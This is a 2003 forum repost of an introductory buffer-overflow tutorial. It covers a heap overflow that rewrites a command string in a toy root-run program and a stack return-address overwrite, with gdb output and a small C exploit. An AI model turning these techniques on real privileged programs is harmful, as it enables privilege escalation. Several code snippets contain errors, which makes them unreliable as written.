Dillinja
Aug 30 2003, 11:11 AM
Introduction to Buffer Overflows
by badpack3t
Hello, here I am again, this time I'll let you know what is in fact buffer overflow and how you can detect if some program is vulnerable to buffer overflow exploits. This tutorial has C source code, so if you don't know C you can have some problems in this tutorial, you also need to have some notions on ASM and how to use gdb. I tried to do the easiest I could, but still this tutorial isn't one of those where you really don't know shit about nothing and when you end it you know all this. This one takes some work to understand, hey it took huge work to write!
A little inside note, like everyone that is reading this lines I like to
learn, so some weeks ago I said to myself "Hey what the heck, why not to start
reading some texts about buffer overflows, I know how everything work but
just superficially", so I just started learning and now I'm trying to pass the
knowledge that I gained, to everyone that is interested. So this won't be one
of those texts where you'll learn everything, this will be like a walkthrough,
like the title says an Introduction, (In the end I'll give you some nice texts).
If you have any questions concerning this tutorial post in our message board,
if you find any "bug" in this tutorial please email me and I'll correct it.
Enjoy.
Exploit?
--------
Well probably everyone knows what an exploit is. But you still got to see
that the ones that are entering the security world for the first time
probably don't have the idea of what that is, that's why I wrote this tinny
section.
So for the ones that don't know an exploit is a program, usually written in
C, that exploits some problem that another program have. The exploit will allow
you to run arbitrary code that will let you do something that you shouldn't be
able to do in your normal status on the system.
Nowadays, most of the exploits are what we call Buffer Overflow Exploits.
What's that you ask. Wait because we'll get there. After all, this is the
subject of this tutorial.
Another thing you should know is that everyone knows how to use them(how do
you think that most of the websites that are defaced?), the script kiddies
just go to sites like security focus, packetstorm or fyodor's exploit world,
download it and run it, and then got busted. But why doesn't everybody write
exploits? Well the problem is that many people doesn't know how to spot some
vulnerability in the source code, or even if they can they aren't able to
write a exploit. So now that you have an idea of what an exploit is, let's
go ahead to the
buffer overflow section.
Buffer Overflow after all what's that?
-------------------------------------
Like I said before most of the exploits are Buffer Overflow exploits.
You are probably now thinking "Bah..this guy is bullshiting around, but
still didn't said what buffer overflow is". So let's just talk about it.
A buffer overflow problem is based in the memory where the program stores
it's data. Why's that, you ask. Well because what buffer overflow do is
overwrite expecific memory places where should be something you want, that
will make the program do something that you want.
Well some of you right now are thinking "WOW, I know how buffer overflow
works", but you still don't know how to spot them.
Let's follow a program and try to find and fix the buffer overflow
| CODE |
main(int argc, char **argv) {
char *somevar;
char *important;
somevar = (char *)malloc(sizeof(char)*4);
important = (char *)malloc(sizeof(char)*14);
strcpy(important, "command"); /*This one is the important
variable*/
stcrpy(somevar, argv[1]);
..... Code here ....
}
.... Other functions here ....
|
So let's say that important variable stores some system command like, let's
say "chmod o-r file", and since that file is owned by root the program is run
under root user too, this means that if you can send commands to it, you can
execute ANY system command. So you start thinking. How the hell can I put
something that I want in the important variable. Well the way is to overflow
the memory so we can reach it. But let's see variables memory addresses.
To do that you need to re-written the code. Check the following code.
| CODE |
main (int argc, char **argv) {
char *somevar;
char *important;
somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);
printf("%p %p", somevar, important);
exit(0);
rest of code here
}
|
Well we added 2 lines in the source code and left the rest unchanged. Let's
see what does two lines do.
The printf("%p %p", somevar, important); line will print the memory
addresses for somevar and important variables. The exit(0); will just keep the
rest of the program running after all you don't want it for nothing, your goal
was to know where is the variables are stored.
After running the program you would get an output like, you will probably
not get the same memory addresses:
| CODE |
0x8049700 <----- This is the address of somevar
0x8049710 <----- This is the address of important
|
As we can see, the important variable is next somevar, this will let us use
our buffer overflow skills, since somevar is got from argv[1]. Now, we know
that one follow the other, but let's check each memory address so we can have
the precise notion of the data storage. To do this let's re-write the code
again.
| CODE |
main(int argc, char **argv) {
char *somevar;
char *important;
char *temp; /* will need another variable */
somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);
strcpy(important, "command"); /*This one is the important
variable*/
stcrpy(str, argv[1]);
printf("%p %p ", somevar, important);
printf("Starting To Print memory address: ");
temp = somevar; /* this will put temp at the first memory address we want
*/
while(temp < important + 14) {
/* this loop will be broken when we get to the last memory address we
want, last memory address of important variable */
printf("%p: %c (0x%x) ", temp, *temp, *(unsigned int*)temp);
temp++;
}
exit(0);
rest of code here
}
|
Now let's say that the argv[1] should be in normal use send. So you just type
in your prompt:
You'll get an output like:
| CODE |
0x8049700
0x8049710
Starting To Print memory address:
0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61) <---- each of this lines represent a memory address
0x8049703: d (0x0)
0x8049704: (0x0)
0x8049705: (0x0)
0x8049706: (0x0)
0x8049707: (0x0)
0x8049708: (0x0)
0x8049709: (0x19000000)
0x804970a: (0x190000)
0x804970b: (0x1900)
0x804970c: (0x19)
0x804970d: (0x63000000)
0x804970e: (0x6f630000)
0x804970f: (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)
0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717: (0x0)
0x8049718: (0x0)
0x8049719: (0x0)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
$
|
Nice isn't it? You can now see that there exist 12 memory address empty
between somevar and important. So let's say that you run the program with a
command line like:
| CODE |
$ program_name send------------newcommand
|
You'll get an output like:
| CODE |
0x8049700
0x8049710
Starting To Print memory address:
0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706: - (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <--- memory address where important variable starts
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)
0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
|
Hey cool, newcommand got over command. Now it does something you want,
instead of something he was supposed to do.
NOTE: Remember sometimes those spaces between somevar and
important can have other variables instead of being empty, so check their
values and send them to the same address, or the program can crash before
getting to the variable that you modified.
Now let's think a little. Why does this happen? As you can see in the source
code somevar is declared before important, this will make, most of the times,
that somevar will be first in memory. Now, let's check how each one is got.
Somevar gets it's value from argv[1], and important gets it from strcpy()
function, but the real problem is that important value is assign first so when
you assign value to somevar that is before it important can be overwritten.
This program could be patched against this buffer overflow switching those two
lines, becoming :
| CODE |
strcpy(somevar, argv[1]);
strcpy(important, "command");
|
If this was the way that the program was done even if you give an argument
that would get into the memory address of important, it will be overwritten by
the true command, since after getting somevar, is assign the value command to
important.
This kind of buffer overflow, is a heap buffer overflow. Like you probably
has seen they are really easy to do in theory but, in the real world, it's not
really easy to do them, after all the example I gave was a really dumb
program right? It's a real pain in the ass to find those important
variables, and also to overflow that variable you need to be able to write to
one that is in a lower memory address, most of times all this conditions
doesn't get together, that's why we are now gonna talk about stack buffer
overflows.
Just a little inside note:
--------------------------
In the last paragraph I talked about heap and stack. You probably be
wondering what each one is. So here's a brief and easy of understanding
definition of each one:
heap - is the space that you reserve for a variable (you access heap when you
use malloc() function).
stack - it's the place where is pushed or returned values from a function.
When you are trying to overflow the stack you'll try to change the return
address, making the code to jump some place in memory where you have put
commands that you want to execute.
So let's get into the stack stuff. Here starts the part that most problems
gave me and still give. Here we will need to know ASM, know how to handle with
gdb (believe me it will start being one of your best friends), still don't
give up.
We will talk in Smashing the Stack which consists in a kind of "attack" that
will change the return address(RET). Doing this you can return the function
to an address where you already had allocate some commands that you want to be
executed.
Like in the heap overflow, let's see some source code.
| CODE |
/* Stack Overflow example */
exploit(char *this) {
char string[20];
strcpy(string,this);
printf("%s ", string);
}
main(int argc, char *argv[]) {
exploit(argv[1]);
}
|
Now we will try to call two times the exploit() functions. How we will do this?
Well first we need to find some nice addresses. This time let's use gdb. First
we compile.
| CODE |
$ gcc stack.c -o stack
$ gdb stack
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux-gnu"...
(gdb)
|
This is your prompt now we will disassemble main. To do this we just need
to type disassemble (you can also type disas) main hard isn't it?
| CODE |
(gdb) disas main
Dump of assembler code for function main:
0x8048440 : push %ebp
0x8048441 : mov %esp,%ebp
0x8048443 : mov 0xc(%ebp),%eax
0x8048446 : add $0x4,%eax
0x8048449 : mov (%eax),%edx
0x804844b : push %edx
0x804844c : call 0x8048410
0x8048451 : add $0x4,%esp
0x8048454 : mov %ebp,%esp
0x8048456 : pop %ebp
0x8048457 : ret
(Some NOPS here. They stand for No Operation...meaning nothing is done).
End of assembler dump.
|
Some thinking
-------------
As we can see exploit is called at 0x804845c and itself has 0x8048410 as its
address.
Back to gdb
-----------
| CODE |
(gdb) disas exploit
End of assembler dump.
(gdb)
0x8048410 : push %ebp
0x8048411 : mov %esp,%ebp
0x8048413 : sub $0x14,%esp
0x8048416 : mov 0x8(%ebp),%eax
0x8048419 : push %eax
0x804841a : lea 0xffffffec(%ebp),%eax
0x804841d : push %eax
0x804841e : call 0x8048340
0x8048423 : add $0x8,%esp
0x8048426 : lea 0xffffffec(%ebp),%eax
0x8048429 : push %eax
0x804842a : push $0x80484bc
0x804842f : call 0x8048330
0x8048434 : add $0x8,%esp
0x8048437 : mov %ebp,%esp
0x8048439 : pop %ebp
0x804843a : ret
(gdb) x/3bc 0x80484bc
0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 ' '
(gdb)
(gdb) quit
$
back to the prompt
|
Another stage of little thinking
--------------------------------
First you are probably wondering what's x/3bc command is. Well this is the
command that let us examine memory.
| CODE |
x/3bc
^^^
|||--- chars
|| --- Binary
|----- define 3 as range
(For more info type in gdb prompt help x/)
|
I did it because I was wondering what was being pushed into the stack at
0x80484cc , and as you can see is the string we want to print.
Our Goal--------
Our goal will now be trying to make exploit return to exploit again instead of
returning to main. So how will we do this, and how will we know if we can do I
t? Well first signal we have that we probably can do something to exploit the c
ode is the segmentation fault we get when we give a huge string, well not that
huge probably aaaaaaaaaaaaaaaaaaaa would do
check for yourself (hint try
20).
So to do that we need to change RET (return address) your now thinking in a
line that you saw in gdb:
| CODE |
0x804844c : call 0x8048410
|
Now the question. In this important line we have 2 address which one to use?
Well it's easy you need to use 0x804844c because it's the one that mentions a
call to exploit, if you used the 0x8048410 we wouldn't get nothing since we
were pointing to
0x8048410 : push %ebp
| CODE |
/* Exploit for stack program */
#include
main() {
char buf[28];
int i;
for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161;
*(long *)&buf[24] = 0x0804844c;
*(long *)&buf[28] = 0x0;
execv("./stack2", buf);
}
|
Doing this we will re-write the Return address for 0x0804844c returning the
functions to the call exploit again. This will put us in a endless loop.
Why we could exploit this program? Well because there was no checking in the
length of the string we were sending. So here's an advice if you code something
that needs to be secure, always use functions that do length checking, like
fgets(), strncpy() instead of gets(), strcpy(), and so on.
gdb tip-------
Wanna see how an exploit affects the vunerable program. Enter in gdb and type.
(gdb) exec exploit
(gdb) symbol-file vunerable_program
Then you can see what the exploit does, and correct the problems if you are
having any.
Final Suggestions-----------------
Well we reached the final. Hope this was some help for you... I have in my mind
some "upgrades" in this tutorial, since it hasn't everything I wanted to say.
But I think it's better to check everything I want to say, instead of saying
something that I'm not 100% sure.
If you find something in this tutorial that don't match, please feel free to
email me about it.
Reading Suggestions-------------------
- Omega Project by Lamagra
- Advanced buffer overflow exploit by Taeho Oh
- Smashing The Stack For Fun And Profit by Aleph One
This 3 texts will give you a huge amount of info that you can need.
credits:-
http://security-protocols.com/
